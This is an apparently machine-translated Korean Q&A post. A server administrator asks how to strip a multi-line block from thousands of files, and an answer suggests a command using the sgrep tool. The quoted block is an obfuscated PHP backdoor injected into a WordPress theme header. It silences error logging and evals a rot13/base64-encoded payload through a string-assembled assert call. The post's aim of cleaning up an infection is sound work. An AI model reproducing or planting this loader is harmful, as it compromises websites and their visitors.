전역적으로 찾아서 바꾸려는 여러 줄 패턴이 포함된 수천 개의 파일이 있는 서버가 있습니다.
다음은 이 패턴의 예입니다.
<div class="fusion-header-sticky-height"></div>
<div class="fusion-header">
<div class="fusion-row">
<?php avada_logo(); ?>
<?php avada_main_menu(); ?>
</div>
</div>
<?php
//###=CACHE START=###
@error_reporting(E_ALL);
@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("display_errors", 0);
@error_reporting(0);
$wa = ASSERT_WARNING;
@assert_options(ASSERT_ACTIVE, 1);
@assert_options($wa, 0);
@assert_options(ASSERT_QUIET_EVAL, 1);
$strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFxtrlOyL2uiVPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftsFOyoUAyVUfXWUIloPN9VPWbqUEjBv8ioT9uMUIjMTS0MKZhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKFxhVvMcCGRznQ0vYz1xAFtvZwSxLGVkAwqzBJEvBTSwAwV4ZwLkMGp3AQyvLJH1ZwDkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwqKWfYPOQIIWZG1OHK0ACGx5SD1EHFH1SG1IHYPN1XGftL3IloS9mMKEipUDbWTA1pzjfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtoJD1XT1xAFtxK1WSHIISH1EoVaNvKFxcVQ09VPVkAwN0MwH5ZmxjZwp3ZGVlBGp1BJDjMQHkAGyzA2HkLvVcVUftMKMuoPumqUWcpUAfLKAbMKZbWS9FEISIEIAHJlWwVy0cXGftsDcyL2uiVPEcLaL7PtxWPK0tsD=="));'); $strings($light);
//###=CACHE END=###
?>
문자열을 찾고 바꾸기 위해 다양한 방법을 시도했지만 여러 줄로 구성된 특성 때문에 혼란스럽습니다. 하루 종일 검색한 후 광범위하게 둘러보았는데 제가 찾은 솔루션으로는 이러한 여러 줄 특성을 처리할 수 없었습니다.
어떤 도움이라도 매우 환영합니다.
고쳐 쓰다
이제 수용된 답변 덕분에 해결책이 생겼습니다.
비슷한 문제에 직면한 다른 사람들은내 github 프로젝트를 확인해 보세요.
답변1
편집을 원하시면문맥 자유 언어(HTML이나 XML과 같이 중첩된 일치하는 열기 및 닫기 태그) 이를 위해 설계된 도구를 사용해야 합니다.일반적인 표현.
다음과 같은 도구스그레프(많은 Linux 배포판의 패키지로 사용 가능): 시작 태그와 끝 태그로 정의된 (중첩) 영역을 일치시키고 조작할 수 있습니다. 예를 들어
sgrep -o '%r\n' '(start .. end) extracting ("<?php".."?>" containing "###=CACHE START=###")'
로 시작하고 끝나는 파일의 모든 영역은 개행 문자로 구분된 다른 모든 영역을 인쇄하여 제거됩니다 <?php
. 개행과 공백은 일치와 관련된 것으로 간주되지 않으므로 여러 줄 일치는 무료입니다.?>
###=CACHE START=###